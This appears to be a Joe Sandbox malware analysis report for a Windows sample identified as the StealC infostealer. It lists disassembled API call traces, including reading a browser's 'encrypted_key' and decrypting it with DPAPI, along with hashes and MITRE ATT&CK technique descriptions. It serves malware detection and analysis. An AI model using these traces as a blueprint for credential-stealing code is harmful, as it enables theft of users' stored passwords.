Part of subcall function 00C499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C49A11
Part of subcall function 00C499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00C49A31
Part of subcall function 00C499C0: ReadFile.KERNEL32(000000FF,?,00000000,00C4148F,00000000), ref: 00C49A5A
Part of subcall function 00C499C0: LocalFree.KERNEL32(00C4148F), ref: 00C49A90
Part of subcall function 00C499C0: CloseHandle.KERNEL32(000000FF), ref: 00C49A9A

Part of subcall function 00C58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C58E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00C49D39

Part of subcall function 00C49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C44EEE,00000000,00000000), ref: 00C49AEF
Part of subcall function 00C49AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00C44EEE,00000000,?), ref: 00C49B01
Part of subcall function 00C49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C44EEE,00000000,00000000), ref: 00C49B2A
Part of subcall function 00C49AC0: LocalFree.KERNEL32(?,?,?,?,00C44EEE,00000000,?), ref: 00C49B3F

Part of subcall function 00C49B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00C49B84
Part of subcall function 00C49B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00C49BA3
Part of subcall function 00C49B60: LocalFree.KERNEL32(?), ref: 00C49BD3

Strings

, xrefs: 00C49DC1
DPAPI, xrefs: 00C49D89
"encrypted_key":", xrefs: 00C49D30

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: d725f8ec1e95f454aeab64fcd3265e00e6659fba28c7e31f6a6938a8a40e67e3
Instruction ID: 8952294d41e2220ed0f5897229ae6bc3fa17ccb6c29567181b26e9ba684a2031
Opcode Fuzzy Hash: d725f8ec1e95f454aeab64fcd3265e00e6659fba28c7e31f6a6938a8a40e67e3
Instruction Fuzzy Hash: A3315EB6D10219ABCF14DFE4DC85AEFB7B8FF48304F144529E915A7241EB309A44CBA1

Function 00C592E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00C53AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00C53AEE,?), ref: 00C592FC
GetFileSizeEx.KERNEL32(000000FF,00C53AEE), ref: 00C59319
CloseHandle.KERNEL32(000000FF), ref: 00C59327

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f979b68b68772fdd1d0ed049cfa1a73528468470da641a32f2bf7b3cc1e018f5
Instruction ID: a587b3bb16fcd87ed79efd9541982c49523305a33b34266eae4dfbb9e288273a
Opcode Fuzzy Hash: f979b68b68772fdd1d0ed049cfa1a73528468470da641a32f2bf7b3cc1e018f5
Instruction Fuzzy Hash: A0F08C38E00208FFEB10DBB2DC08B9E77B9EB48311F1082A5BA15A72D0D6B196449B44

Function 00C5C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00C5C74E

Part of subcall function 00C5BF9F: __amsg_exit.LIBCMT ref: 00C5BFAF

__getptd.LIBCMT ref: 00C5C765
__amsg_exit.LIBCMT ref: 00C5C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00C5C797

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 7006e327c021dfb056fddafb93acda1549dc721f1f4a7b6928d3e5de7bf4caee
Instruction ID: 977b8a299ad47eed96c31615c783949ad15d82ed7c217d5e7076bd814f410788
Opcode Fuzzy Hash: 7006e327c021dfb056fddafb93acda1549dc721f1f4a7b6928d3e5de7bf4caee
Instruction Fuzzy Hash: B7F0903E9007109FD730BBF9588674D37A0AF04767F244249FC14A65D2CB645EC8AE5E

Function 00C54F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C58E0B

lstrcat.KERNEL32(?,00000000), ref: 00C54F7A
lstrcat.KERNEL32(?,00C61070), ref: 00C54F97
lstrcat.KERNEL32(?,0089AFA8), ref: 00C54FAB
lstrcat.KERNEL32(?,00C61074), ref: 00C54FBD

Part of subcall function 00C54910: wsprintfA.USER32 ref: 00C5492C
Part of subcall function 00C54910: FindFirstFileA.KERNEL32(?,?), ref: 00C54943

Part of subcall function 00C54910: StrCmpCA.SHLWAPI(?,00C60FDC), ref: 00C54971
Part of subcall function 00C54910: StrCmpCA.SHLWAPI(?,00C60FE0), ref: 00C54987
Part of subcall function 00C54910: FindNextFileA.KERNEL32(000000FF,?), ref: 00C54B7D
Part of subcall function 00C54910: FindClose.KERNEL32(000000FF), ref: 00C54B92

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 224ea9e827efa9a4e69a9487d4ba49663ca17ad8862bdcdb2e723e9f089a99ae
Instruction ID: 23de9faaf882eb411cfe1f18e29827abc2adf7f85e66123170c2a56fe241678f
Opcode Fuzzy Hash: 224ea9e827efa9a4e69a9487d4ba49663ca17ad8862bdcdb2e723e9f089a99ae
Instruction Fuzzy Hash: 0021DD7A9002046BD754FBB0DC47EED333CA754701F044565BA9DA2181EE7496CC9BA2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

Windows Analysis Report
file.exe

Function 00C59860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00C445C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00C44880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00C59C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00C46280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00C55510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00C517A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00C57500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00C569F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00C41220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00C56AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00C447B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00C551F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON